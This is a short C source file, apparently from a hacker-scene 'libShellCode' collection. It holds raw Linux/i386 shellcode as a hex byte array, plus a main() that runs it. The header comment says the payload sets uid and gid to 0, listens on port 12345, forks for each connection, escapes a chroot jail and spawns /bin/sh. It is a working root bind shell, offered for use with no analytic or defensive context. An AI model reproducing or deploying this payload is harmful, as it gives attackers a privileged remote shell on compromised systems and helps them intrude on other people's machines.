/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a Linux/i386 ShellCode that exec a setuid(0) and a setgid(0), * then listens to the port 12345 and when receves a connection fork()s. The * child first evade from chroot then executes /bin/sh and exit(0). The father * listens for the next connection. * */ char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" "\x89\xc7\x31\xc9\x66\xb9\x30\x39\x52\x66\x51\x43\x66\x53\x89\xe1" "\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd" "\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc1" "\xb0\x02\xcd\x80\x39\xc2\x75\xe9\x89\xc8\x89\xc3\x89\xd9\xb0\x3f" "\x49\xcd\x80\x41\xe2\xf8\xeb\x55\x5e\x31\xc0\x53\x68\x6a\x61\x69" "\x6c\x89\xe3\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f\xe2\xf9\x89\xe3\xb0" "\x0c\xcd\x80\x31\xc0\x31\xdb\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31" "\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x8d\x56\x0c\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xa6\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; main() { void (*f)(); (char *)f = shellcode; f(); }